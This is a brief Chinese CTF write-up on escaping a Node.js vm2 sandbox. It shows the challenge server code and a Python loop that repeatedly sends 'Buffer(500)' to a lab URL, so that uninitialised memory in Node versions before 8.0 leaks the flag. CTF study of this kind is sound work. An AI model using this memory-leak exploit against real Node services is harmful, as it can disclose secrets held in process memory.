前言
关键字:[nodejs|沙箱逃逸]
"use strict";
var randomstring = require("randomstring");
var express = require("express");
var {
VM
} = require("vm2");
var fs = require("fs");
var app = express();
var flag = require("./config.js").flag
app.get("/", function(req, res) {
res.header("Content-Type", "text/plain");
/* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
if (req.query.data && req.query.data.length <= 12) {
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send("eval ->" + vm.run(req.query.data));
} else {
res.send(fs.readFileSync(__filename).toString());
}
});
app.listen(3000, function() {
console.log("listening on port 3000!");
});
题解
The
vm
module enables compiling and running code within V8 Virtual Machine contexts. Thevm
module is not a security mechanism. Do not use it to run untrusted code.
是在vm虚拟机中
在较早一点的node版本中(8.0 之前),当Buffer的构造函数传入数字时,会得到与数字长度一致的一个Buffer,并且这个Buffer是未清零的。8.0之后的版本可以通过另一个函数Buffer.allocUnsafe(size)来获得未清空的内存。
这题<8.0
import requests
import time
url = 'http://aec15194-fd75-4137-b7ca-09b92683d609.node4.buuoj.cn:81/?data=Buffer(500)'
response = ''
while 'flag' not in response:
res = requests.get(url)
time.sleep(0.1)
if 'flag{' in res.text:
print(res.text)
break
大概意思就是不断传Buffer(500)
进去,就有可能把沙箱内的数据带出来。